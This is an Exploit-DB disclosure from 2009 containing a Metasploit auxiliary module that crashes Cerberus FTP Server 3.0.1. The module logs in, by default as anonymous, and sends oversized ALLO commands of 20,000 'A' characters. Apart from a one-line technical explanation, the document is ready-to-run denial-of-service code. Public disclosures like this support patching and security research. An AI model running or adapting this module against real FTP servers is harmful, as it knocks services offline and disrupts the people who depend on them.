Cerberus FTP 3.0.1 - 'ALLO' Remote Overflow Denial of Service (Metasploit)

EDB-ID:

9515

CVE:





Platform:

Windows

Date:

2009-08-25


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Application:  Cerberus FTP 3.0.1
            
Platforms:    Windows XP Professional SP2

crash:	      N/A
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

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1) Introduction
2) Technical details
3) The Code


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1) Introduction

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Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.

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2) Technical details 
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The validation of some ftp commands are not made by the server. This lead to a a DoS.... 



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3) The Code
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Proof of concept DoS code;

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Ftp
	include Msf::Auxiliary::Dos
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Cerberus FTP command ALLO overflow',
			'Description'    => %q{
				 You need to have a valid login
				so you can run ALLO command.
			},
			'Author'         => 'Francis Provencher "Protek Research Lab's",
			'License'        => MSF_LICENSE,
			'Version'        => '1',
			'References'     =>
				
			'DisclosureDate' => 'Aug 24 2009'))

		# They're required
		register_options([
			OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
			OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
		])
	end

	def run
		return unless connect_login

		print_status("Sending commands...")

		# We want to try to wait for responses to these
		raw_send("ALLO #{'A' * 20000}\r\n")
		raw_send("ALLO #{'A' * 20000}\r\n")

		disconnect
	end
end


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